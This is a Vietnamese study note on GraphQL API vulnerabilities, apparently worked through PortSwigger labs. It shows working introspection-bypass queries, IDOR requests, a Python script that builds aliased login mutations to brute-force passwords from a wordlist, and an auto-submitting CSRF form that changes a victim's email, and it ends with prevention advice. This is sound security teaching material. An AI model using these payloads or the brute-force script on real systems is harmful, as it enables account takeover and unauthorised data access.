GraphQL API Vulnerabilities

Các lỗ hổng của GraphQL API thường đến từ việc thiết kế và hiện thực không đúng cách. Ví dụ, việc mở tính năng introspection có thể giúp attacker truy vấn thông tin về các schema.

Các cuộc tấn công vào GraphQL API thường có dạng một request độc hại cho phép attacker thu thập thông tin hoặc thực hiện những hành động không được phép. Các GraphQL API cũng có thể gây ra các vấn đề về rò rỉ thông tin.

Finding GraphQL Endpoints

Trước khi test một GraphQL API, ta cần tìm HTTP endpoint của nó.

Universal Queries

Khi gửi query { __typename } đến bất kỳ GraphQL endpoint nào, ta sẽ nhận được một phản hồi có chứa chuỗi {"data": {"__typename": "query"}}. Lý do là vì tất cả các GraphQL endpoint đều có một trường đặc biệt tên là __typename. Trường này trả về kiểu dữ liệu của đối tượng hiện tại (trong trường hợp này là query) dưới dạng một chuỗi, giúp xác định loại của đối tượng đang được truy vấn.

Ta có thể tận dụng điều này để kiểm tra xem một URL nào đó có phải là GraphQL endpoint hay không.

Common Endpoint Names

Dịch vụ GraphQL thường được phục vụ ở một số endpoint có hậu tố cụ thể như sau:

  • /graphql
  • /api
  • /api/graphql
  • /graphql/api
  • /graphql/graphql

Ta có thể sử dụng universal query cho các endpoint này.

Trong trường hợp các endpoint trên không có phản hồi của GraphQL API, ta có thể thử thêm /v1 ở trước.

Note

Chú ý rằng các dịch vụ GraphQL thường trả về lỗi “query not present” hoặc các lỗi tương tự khi nhận được các request không phải là GraphQL.

Request Methods

Cách tốt nhất khi triển khai GraphQL trong môi trường thực tế là chỉ chấp nhận các POST request có Content-Typeapplication/json vì điều này giúp bảo vệ ứng dụng khỏi các lỗ hổng CSRF. Tuy nhiên, một số endpoint có thể chấp nhận các request method khác chẳng hạn như GET hoặc Content-Type khác chẳng hạn như x-www-form-urlencoded.

Trong trường hợp không thể tìm ra GraphQL endpoint sử dụng POST request, có thể thử dùng các HTTP method khác.

Exploiting Unsanitized Arguments

Nếu GraphQL API sử dụng đối số người dùng để truy cập đến các object một cách trực tiếp, nó có thể có các lỗ hổng liên quan đến quyền truy cập. Cụ thể hơn người, dùng có thể truy cập thông tin mà họ không có chỉ bằng cách thay đổi đối số truyền vào tương ứng với thông tin đó (IDOR).

Ví dụ, query sau truy vấn danh sách các sản phẩm:

#Example product query
 
query {
	products {
		id
		name
		listed
	}
}

Response từ server:

#Example product response
 
{
	"data": {
		"products": [
			{
				"id": 1,
				"name": "Product 1",
				"listed": true
			},
			{
				"id": 2,
				"name": "Product 2",
				"listed": true
			},
			{
				"id": 4,
				"name": "Product 4",
				"listed": true
			}
		]
	}
}

Có thể thấy:

  • ID của sản phẩm tăng dần.
  • Sản phẩm với ID là 3 không có trong response từ server.

Bằng cách truyền vào ID của sản phẩm không có trong response, ta có thể truy vấn được thông tin của sản phẩm này:

#Query to get missing product
 
query {
	product(id: 3) {
		id
		name
		listed
	}
}
#Missing product response
 
{
	"data": {
		"product": {
		"id": 3,
		"name": "Product 3",
		"listed": no
		}
	}
}

Discovering Schema Information

Running a Full Introspection Query

Để có thể thu thập các thông tin liên quan đến schema, ta có thể sử dụng introspection1.

Ví dụ, ta có thể dùng introspection query sau để truy vấn tất cả các query mà server hỗ trợ:

#Introspection probe request
 
{
	"query": "query IntrospectionQuery {__schema{queryType{name}}}"
}

Hoặc sử dụng introspection query sau để truy vấn chi tiết hơn về tất cả các query, mutation, subscription, type và fragment:

query IntrospectionQuery {
	__schema {
		queryType {
			name
		}
		mutationType {
			name
		}
		subscriptionType {
			name
		}
		types {
		 ...FullType
		}
		directives {
			name
			description
			args {
				...InputValue
		}
		}
	}
}
 
fragment FullType on __Type {
	kind
	name
	description
	fields(includeDeprecated: true) {
		name
		description
		args {
			...InputValue
		}
		type {
			...TypeRef
		}
		isDeprecated
		deprecationReason
	}
	inputFields {
		...InputValue
	}
	interfaces {
		...TypeRef
	}
	enumValues(includeDeprecated: true) {
		name
		description
		isDeprecated
		deprecationReason
	}
	possibleTypes {
		...TypeRef
	}
}
 
fragment InputValue on __InputValue {
	name
	description
	type {
		...TypeRef
	}
	defaultValue
}
 
fragment TypeRef on __Type {
	kind
	name
	ofType {
		kind
		name
		ofType {
			kind
			name
			ofType {
				kind
				name
			}
		}
	}
}

Info

Burp Suite có hỗ trợ tạo các introspection query: Working with GraphQL in Burp Suite - PortSwigger.

Visualizing Introspection Results

Kết quả trả về của introspection query có thể rất dài và khó đọc nên có thể dùng công cụ nathanrandal.com/graphql-visualizer để trực quan hóa các mối quan hệ giữa các thao tác và các kiểu dữ liệu.

Suggestions

Kể cả khi introspection bị disable thì ta có thể dùng tính năng suggestion, được hỗ trợ bởi nền tảng Apollo GraphQL. Tính năng này cho phép server có thể gợi ý người dùng về cấu trúc của API từ một câu query “gần đúng” chẳng hạn như There is no entry for 'productInfo'. Did you mean 'productInformation' instead?.

Có thể dùng công cụ nikitastupin/clairvoyance để thu thập thông tin về schema thông qua tính năng suggestion.

Info

Chúng ta không thể disable tính năng suggestion của Apollo một cách trực tiếp. Xem thêm: Disable suggestions in errors message · Issue #3919 · apollographql/apollo-server.

Lab: Accessing Private GraphQL Posts

Tìm thấy GraphQL endpoint:

POST /graphql/v1 HTTP/2

Câu query dùng để truy vấn tất cả các bài blog:

query getBlogSummaries {
    getAllBlogPosts {
        image
        title
        summary
        id
    }
}

Kết quả trả về thiếu mất blog với ID là 3:

{
  "data": {
    "getAllBlogPosts": [
      {
        "image": "/image/blog/posts/51.jpg",
        "title": "Favours",
        "summary": "Favours are a tricky thing. Some people seem to ask for them all the time, some people hardly ever do and some people outright refuse to ever ask for one as they don't want to end up owing someone.",
        "id": 4
      },
      {
        "image": "/image/blog/posts/35.jpg",
        "title": "Hobbies",
        "summary": "Hobbies are a massive benefit to people in this day and age, mainly due to the distractions they bring. People can often switch off from work, stress and family for the duration of their hobbies. Maybe they're playing sports, knitting...",
        "id": 2
      },
      {
        "image": "/image/blog/posts/67.jpg",
        "title": "The Lies People Tell",
        "summary": "The best kind of lies are the ones you overhear other people telling. You know they are lying because you're standing in a bar when you hear them on the phone saying, 'I'm in the grocery store.' At times like...",
        "id": 1
      },
      {
        "image": "/image/blog/posts/28.jpg",
        "title": "The history of swigging port",
        "summary": "The 'discovery' of port dates back to the late Seventeenth Century when British sailors stumbled upon the drink in Portugal and then stumbled even more slowly home with several more bottles. It has been said since then that Portugal is...",
        "id": 5
      }
    ]
  }
}

Khi click vào một bài blog cụ thể thì ứng dụng gửi query sau:

query getBlogPost($id: Int!) {
	getBlogPost(id: $id) {
		image
		title
		author
		date
		paragraphs
	}
}

Biến sử dụng cho query trên là:

{"id":4}

Thay id thành 3 thì nhận được response như sau:

{
  "data": {
    "getBlogPost": {
      "image": "/image/blog/posts/32.jpg",
      "title": "A Guide to Online Dating",
      "author": "Andy Trick",
      "date": "2024-11-20T00:46:41.753Z",
      "paragraphs": [
        "Let's face it, it's a minefield out there. That's not even just a reference to dating, the planet right now is more or less a minefield. In a world where cats have their own YouTube channels and a celebrity can become president, why is it so inconceivable there's someone out there for all of us? Luckily, someone invented the internet.",
        "Somewhere along the line people decided that doing something ridiculous, like meeting another human being organically, was old hat. Why take the time to speak to people face to face and waste breath explaining to each individual person who you are, what you do and that you don't like dogs? Just put it all in a biography next to your best photo and let them ogle you in the cyber zoo.",
        "Then of course, you get to ogle too. Yes, you may have spotted Mark in the bar and thought he's perfect, handsome and tall. But, he doesn't have that bio next to his head that states just how much he loves to collect stamps.",
        "The point is, with internet dating, you can iron out the inconsistencies of another human being before you even have to meet them. You may well match with someone online you seem compatible with and then you talk through your hobbies and interests. Be sure to ask in depth questions when you match with someone while also being happy and bashful. Just remember, act like the dwarfs with positive names.",
        "Getting to know that person a little better before committing to a meeting is paramount. It avoids any awkward conversations like: 'Oh I thought you meant clubbing as in dancing, not seals.' It is imperative you think you'll be a good match with this person!",
        "Should you find something out about them having three previous marriages that all ended abruptly, don't judge them right away. Do however, google their name to see if the phrase 'not enough evidence to prosecute' comes up. Never judge a book by its cover, but make sure you give the blurb a darn good read before committing to read the whole thing.",
        "This may go down as some rather startling news, but if it seems to good to be true, it probably is. That stunner, with the incredible photos, laughing at every joke you type, complimenting that hideous picture of you from last year, may not be who they say. Maybe they are, maybe that surfing champion sponsored by Nike really does think you're brilliant, but probably not. Schedule a meet up if things are going well online, don't send them your pin number. If you turn up and the person of your dreams is a bit older and rounder than how they were in the pictures then no harm done. Should you be scammed for hundreds because you were so sure they were real' harm done.",
        "It's a minefield, no doubt. But with the right amount of searching, asking questions and general common sense, you may just find the right person for you. It's the opposite to what we were taught as kids, talk to strangers and if they offer it, take their candy."
      ]
    }
  }
}

Thử sử dụng introspection query thì tìm được trường có tên là postPassword ở trong BlogPost object:

{
  "name": "postPassword",
  "description": null,
  "args": [],
  "type": {
	"kind": "SCALAR",
	"name": "String",
	"ofType": null
  },
  "isDeprecated": false,
  "deprecationReason": null
}

Thêm trường này vào câu query đến blog có ID là 3 thì nhận được password như sau:

"postPassword": "1mh9izlfu35jj6gr2vdb55z3t3igo6tm"

Lab: Accidental Exposure of Private GraphQL Fields

Câu query dùng để đăng nhập:

mutation login($input: LoginInput!) {
	login(input: $input) {
		token
		success
	}
}

Các biến mà nó sử dụng:

{"input":{"username":"admin","password":"admin"}}

Sử dụng introspection query rồi trực quan hóa bằng GraphQL Visualizer thì thấy có một query tên là getUser:

Xây dựng query như sau:

query getUser {
     getUser(id: 1){
          username
          password
     }
}

Kết quả trả về có chứa password của administrator:

{
  "data": {
    "getUser": {
      "username": "administrator",
      "password": "dyrrke63w665t33j8upy"
    }
  }
}

Đăng nhập và xóa người dùng carlos để hoàn thành lab.

Bypassing GraphQL Introspection Defenses

Developer có thể tắt tính năng introspection bằng cách sử dụng regex để loại bỏ từ khóa __schema. Tuy nhiên, kẻ tấn công có thể sử dụng khoảng trắng, ký tự xuống dòng và dấu phẩy để bypass regex mà không làm thay đổi ý nghĩa của câu query ở trong GraphQL.

Ví dụ, nếu developer chỉ loại bỏ những request nào có chuỗi __schema{ thì câu query sau sẽ có thể bypass:

#Introspection query with newline
 
{
	"query": "query{__schema
	{queryType{name}}}"
}

Nếu cách làm trên không thành công, có thể dùng GET request vì introspection có thể chỉ bị disable đối với các POST request. Hoặc cũng có thể thử các POST request mà có Content-Typex-www-form-urlencoded.

Ví dụ bên dưới là một GET request có chứa introspection query được URL-encoded ở trong query parameter:

GET /graphql?query=query%7B__schema%0A%7BqueryType%7Bname%7D%7D%7D HTTP/1.1

Tip

Chúng ta có thể lưu các GraphQL query vào tab “Site map” của Burp Suite bằng cách nhấn chuột phải vào câu query và chọn “Save GraphQL queries to site map”.

Lab: Finding a Hidden GraphQL Endpoint

Trước tiên thử với introspection query như sau:

GET /graphql/v1 HTTP/2
Host: 0a29000c0426f0ae8458bfcb0021004f.web-security-academy.net
Cookie: session=qQVbqvSSWVvnCHEHYJxNKXjpID4WpzJQ
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Referer: https://0a29000c0426f0ae8458bfcb0021004f.web-security-academy.net/product?productId=1
Content-Type: application/json
Content-Length: 39
 
{
	"query":"query{__schema {queryType{name}}}"
}

Server trả về response có status code là 404.

Chuyển request đến Intruder và lặp qua các endpoint sau:

  • /graphql
  • /api
  • /api/graphql
  • /graphql/api
  • /graphql/graphql

Tìm thấy GraphQL endpoint ở path /api dựa trên response mà nó trả về:

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 156
 
{
  "errors": [
    {
      "locations": [],
      "message": "GraphQL introspection is not allowed, but the query contained __schema or __type"
    }
  ]
}

Có thể thấy, ứng dụng phát hiện được câu query có chứa __schema.

Bypass bằng cách thêm vào ký tự xuống dòng ở sau keyword __schema:

{
	"query":"query IntrospectionQuery {
    __schema
 {
        queryType {
            name
        }
        mutationType {
            name
        }
        subscriptionType {
            name
        }
        types {
            ...FullType
        }
        directives {
            name
            description
            locations
            args {
                ...InputValue
            }
        }
    }
}
 
...

Trực quan hóa kết quả trả về thì tìm thấy query getUser như sau:

Xây dựng query:

query getUser {
     getUser(id: 1){
          id
          username
     }
}

Gửi request có chứa query:

POST /api HTTP/2
Host: 0a29000c0426f0ae8458bfcb0021004f.web-security-academy.net
Cookie: session=HxlSgAFPoGoWhQJT8OT15LsE8hn2lL8U
Content-Length: 94
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Origin: https://0a460089031d090789c0053b0091007a.web-security-academy.net
Referer: https://0a460089031d090789c0053b0091007a.web-security-academy.net/login
 
{"query":"query getUser {\n     getUser(id: 3){\n          id\n          username\n     }\n}"}

Note

Nếu không có Content-Type: application/json thì server sẽ phản hồi như sau:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 19
 
"Query not present"

Kết quả trả về cho thấy ứng dụng không cho sử dụng POST request:

HTTP/2 405 Method Not Allowed
Allow: GET
Content-Type: application/json; charset=utf-8
Set-Cookie: session=4TSOwFGOWAusHurePcy9jPHG4sSAhHiO; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 20
 
"Method Not Allowed"

Thay đổi thành GET và nhận được response như sau:

{
  "data": {
    "getUser": {
      "id": 3,
      "username": "carlos"
    }
  }
}

Như vậy, ta biết được carlosid là 3. Tuy nhiên, cần phải tìm cách để xóa user.

Kiểm tra kỹ kết quả trả về của introspection query thì thấy có một mutation như sau:

{
  "kind": "OBJECT",
  "name": "mutation",
  "description": null,
  "fields": [
	{
	  "name": "deleteOrganizationUser",
	  "description": null,
	  "args": [
		{
		  "name": "input",
		  "description": null,
		  "type": {
			"kind": "INPUT_OBJECT",
			"name": "DeleteOrganizationUserInput",
			"ofType": null
		  },
		  "defaultValue": null
		}
	  ],
	  "type": {
		"kind": "OBJECT",
		"name": "DeleteOrganizationUserResponse",
		"ofType": null
	  },
	  "isDeprecated": false,
	  "deprecationReason": null
	}
  ],
  "inputFields": null,
  "interfaces": [],
  "enumValues": null,
  "possibleTypes": null
}

Object DeleteOrganizationUserInput và object DeleteOrganizationUserResponse:

{
  "kind": "INPUT_OBJECT",
  "name": "DeleteOrganizationUserInput",
  "description": null,
  "fields": null,
  "inputFields": [
	{
	  "name": "id",
	  "description": null,
	  "type": {
		"kind": "NON_NULL",
		"name": null,
		"ofType": {
		  "kind": "SCALAR",
		  "name": "Int",
		  "ofType": null
		}
	  },
	  "defaultValue": null
	}
  ],
  "interfaces": null,
  "enumValues": null,
  "possibleTypes": null
},
{
  "kind": "OBJECT",
  "name": "DeleteOrganizationUserResponse",
  "description": null,
  "fields": [
	{
	  "name": "user",
	  "description": null,
	  "args": [],
	  "type": {
		"kind": "NON_NULL",
		"name": null,
		"ofType": {
		  "kind": "OBJECT",
		  "name": "User",
		  "ofType": null
		}
	  },
	  "isDeprecated": false,
	  "deprecationReason": null
	}
  ],
  "inputFields": null,
  "interfaces": [],
  "enumValues": null,
  "possibleTypes": null
}

Xây dựng mutation để xóa user carlos dựa trên những thông tin trên:

mutation deleteOrganizationUser {
	deleteOrganizationUser(input: {id: 3}) {
		user {
			id
			username
		}
	}
}

Giải thích mutation:

  • Ta chỉ định tên của mutation là deleteOrganizationUser giống với trong kết quả trả về của introspection query.
  • Đối số đầu vào của deleteOrganizationUser có kiểu DeleteOrganizationUserInput bao gồm trường id. Giá trị của id là 3 vì nó là ID của carlos.
  • Giá trị trả về cũng như là dữ liệu mà ta muốn truy vấn của deleteOrganizationUser là kiểu DeleteOrganizationUserResponse bao gồm một trường là user có kiểu là User. Như đã biết từ hình minh họa, kiểu User có hai trường là id (kiểu Int) và username (kiểu String).

Câu query ở dạng JSON:

{"query":"mutation deleteOrganizationUser {
	deleteOrganizationUser(input: {id: 3}) {
		user {
			id
			username
		}
	}
}"}

Kết quả trả về:

{
  "data": {
    "deleteOrganizationUser": {
      "user": {
        "id": 3,
        "username": "carlos"
      }
    }
  }
}

Bypassing Rate Limiting Using Aliases

Tính năng alias2 cho phép một query có thể truy vấn nhiều instance của cùng một type.

Mặc dù alias được sử dụng để giảm thiểu số lượng request cần gửi nhưng nó vẫn có thể bị lạm dụng để brute-force GraphQL endpoint. Cụ thể hơn, nếu ứng dụng có rate limit dựa trên số lượng request thay vì dựa trên số lượng thao tác có trong query thì ta có thể dùng alias để bypass.

Ví dụ sau sử dụng alias để gửi nhiều yêu cầu kiểm tra xem discount code có hợp lệ hay không:

#Request with aliased queries
 
query isValidDiscount($code: Int) {
	isvalidDiscount(code:$code){
		valid
	}
	isValidDiscount2:isValidDiscount(code:$code){
		valid
	}
	isValidDiscount3:isValidDiscount(code:$code){
		valid
	}
}

Lab: Bypassing GraphQL Brute Force Protections

Tìm thấy GraphQL endpoint cũng như là mutation dùng để đăng nhập:

POST /graphql/v1 HTTP/2
Host: 0a10008d03946d12827102ab00b00011.web-security-academy.net
Cookie: session=GM6tn8BbsKhk0UHGHec8ei53k6GRSDqC
Content-Length: 230
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Origin: https://0a10008d03946d12827102ab00b00011.web-security-academy.net
Referer: https://0a10008d03946d12827102ab00b00011.web-security-academy.net/login
 
{"query":"\n    mutation login($input: LoginInput!) {\n        login(input: $input) {\n            token\n            success\n        }\n    }","operationName":"login","variables":{"input":{"username":"carlos","password":"abc"}}}

Mutation:

mutation login($input: LoginInput!) {
	login(input: $input) {
		token
		success
	}
}

Biến sử dụng:

{"input":{"username":"carlos","password":"abc"}}

Kết quả trả về:

{
  "data": {
    "login": {
      "token": "GM6tn8BbsKhk0UHGHec8ei53k6GRSDqC",
      "success": false
    }
  }
}

Sử dụng script sau để tạo mutation dùng để brute-force dựa trên wordlist cho sẵn:

# List of passwords to use in the mutation
wordlist = [
    "123456", "password", "12345678", "qwerty", "123456789", "12345", "1234", "111111",
    "1234567", "dragon", "123123", "baseball", "abc123", "football", "monkey", "letmein",
    "shadow", "master", "666666", "qwertyuiop", "123321", "mustang", "1234567890", "michael",
    "654321", "superman", "1qaz2wsx", "7777777", "121212", "000000", "qazwsx", "123qwe",
    "killer", "trustno1", "jordan", "jennifer", "zxcvbnm", "asdfgh", "hunter", "buster",
    "soccer", "harley", "batman", "andrew", "tigger", "sunshine", "iloveyou", "2000", 
    "charlie", "robert", "thomas", "hockey", "ranger", "daniel", "starwars", "klaster", 
    "112233", "george", "computer", "michelle", "jessica", "pepper", "1111", "zxcvbn", 
    "555555", "11111111", "131313", "freedom", "777777", "pass", "maggie", "159753", 
    "aaaaaa", "ginger", "princess", "joshua", "cheese", "amanda", "summer", "love", 
    "ashley", "nicole", "chelsea", "biteme", "matthew", "access", "yankees", "987654321",
    "dallas", "austin", "thunder", "taylor", "matrix", "mobilemail", "mom", "monitor", 
    "monitoring", "montana", "moon", "moscow"
]
 
# Base username
username = "carlos"
 
# Function to generate the GraphQL mutation
def generate_graphql_mutation(wordlist, username):
    mutation = "mutation {\n"
    for i, password in enumerate(wordlist, start=1):
        mutation += f'    login{i}: login(input: {{username: "{username}", password: "{password}"}}) {{\n'
        mutation += f'        token\n'
        mutation += f'        success\n'
        mutation += f'    }}\n'
    mutation += "}"
    return mutation
 
# Generate and print the mutation
graphql_mutation = generate_graphql_mutation(wordlist, username)
print(graphql_mutation)

Kết quả trả về có đoạn sau:

"login77": {
  "token": "UEjGDj6rdRUGEu4N32rNgFWgpxhQMkQO",
  "success": true
}

Password tương ứng là cheese.

GraphQL CSRF

GraphQL API có thể được dùng làm attack vector cho CSRF attack nhằm gửi những request dưới danh nghĩa của người dùng. Lỗ hổng này xảy ra khi GraphQL endpoint không validate Content-Type của các request và không triển khai CSRF token.

Các POST request có Content-Typeapplication/json sẽ không bị tấn công nếu ứng dụng có thực hiện validate Content-Type. Tuy nhiên, nếu GraphQL endpoint chấp nhận các request có method khác chẳng hạn như GET hoặc Content-Typex-www-form-urlencoded thì vẫn có thể bị tấn công.

Lab: Performing CSRF Exploits Over GraphQL

Mutation dùng để login:

mutation login($input: LoginInput!) {
	login(input: $input) {
		token
		success
	}
}

Biến sử dụng:

{"input":{"username":"wiener","password":"peter"}}

Response có cookie với SameSite=None:

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Set-Cookie: session=uDGao0mgieIUydgxcrdnqIc0qTM7ZFUu; Secure; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 113
 
{
  "data": {
    "login": {
      "token": "uDGao0mgieIUydgxcrdnqIc0qTM7ZFUu",
      "success": true
    }
  }
}

Request thay đổi email:

POST /graphql/v1 HTTP/2
Host: 0a22005103c560e6822dc94900bb00f7.web-security-academy.net
Cookie: session=uDGao0mgieIUydgxcrdnqIc0qTM7ZFUu; session=uDGao0mgieIUydgxcrdnqIc0qTM7ZFUu
Content-Length: 231
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Origin: https://0a22005103c560e6822dc94900bb00f7.web-security-academy.net
Referer: https://0a22005103c560e6822dc94900bb00f7.web-security-academy.net/my-account
 
{"query":"\n    mutation changeEmail($input: ChangeEmailInput!) {\n        changeEmail(input: $input) {\n            email\n        }\n    }\n","operationName":"changeEmail","variables":{"input":{"email":"wiener@normal-user.net"}}}

Mutation:

mutation changeEmail($input: ChangeEmailInput!) {
	changeEmail(input: $input) {
		email
	}
}

Biến sử dụng:

{"input":{"email":"wiener@normal-user.net"}}

Nếu xóa cookie thì sẽ gặp lỗi sau:

{
  "errors": [
    {
      "path": [
        "changeEmail"
      ],
      "extensions": {
        "message": "You must be logged in to change email"
      },
      "locations": [
        {
          "line": 1,
          "column": 24
        }
      ],
      "message": "Exception while fetching data (/changeEmail) : You must be logged in to change email"
    }
  ],
  "data": {
    "changeEmail": null
  }
}

Có thể gửi request thay đổi email với Content-Typex-www-form-urlencoded:

POST /graphql/v1 HTTP/2
Host: 0a22005103c560e6822dc94900bb00f7.web-security-academy.net
Cookie: session=uDGao0mgieIUydgxcrdnqIc0qTM7ZFUu
Content-Type: x-www-form-urlencoded
Content-Length: 94
 
query=mutation changeEmail { changeEmail(input: {email: "evil@normal-user.net"}) { email } }

Tạo CSRF PoC:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a22005103c560e6822dc94900bb00f7.web-security-academy.net/graphql/v1" method="POST">
      <input type="hidden" name="query" value='mutation changeEmail { changeEmail(input: {email: "evil@evil.net"}) { email } }' />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Chuyển giao cho nạn nhân để hoàn thành lab.

Preventing GraphQL Attacks

Các bước để ngăn chặn các tấn công liên quan đến GraphQL:

  • Nếu API không được sử dụng công khai: tắt introspection.
  • Nếu API được sử dụng công khai thì introspection có thể được bật. Khi đó, xem lại schema để đảm bảo không để lộ trường thông tin nào nhạy cảm chẳng hạn như email hoặc user ID.
  • Đảm bảo rằng tính năng suggestion bị tắt.

Để ngăn chặn brute-force hoặc DoS:

  • Giới hạn độ sâu của query, nhất là các query có nhiều lớp lồng nhau, nhằm đảm bảo server không bị DoS.
  • Cấu hình giới hạn thao tác (operation limit) nhằm kiểm soát số lượng trường duy nhất, alias, và các trường root được phép sử dụng trong một truy vấn.
  • Cấu hình số lượng byte tối đa mà một query có thể có.
  • Cấu hình phân tích chi phí thực hiện query. Nếu query quá phức tạp thì sẽ bỏ qua nhằm tiết kiệm tài nguyên tính toán.

Để ngăn chặn các tấn công liên quan đến CSRF:

  • Chỉ nhận các POST request có Content-Typeapplication/json.
  • Đảm bảo nội dung trong request body có kiểu khớp với Content-Type đã khai báo.
  • Có cơ chế chống CSRF.
list
from outgoing([[Port Swigger - GraphQL Vulnerabilities]])
sort file.ctime asc

Resources

Footnotes

  1. xem thêm Introspection

  2. xem thêm Aliases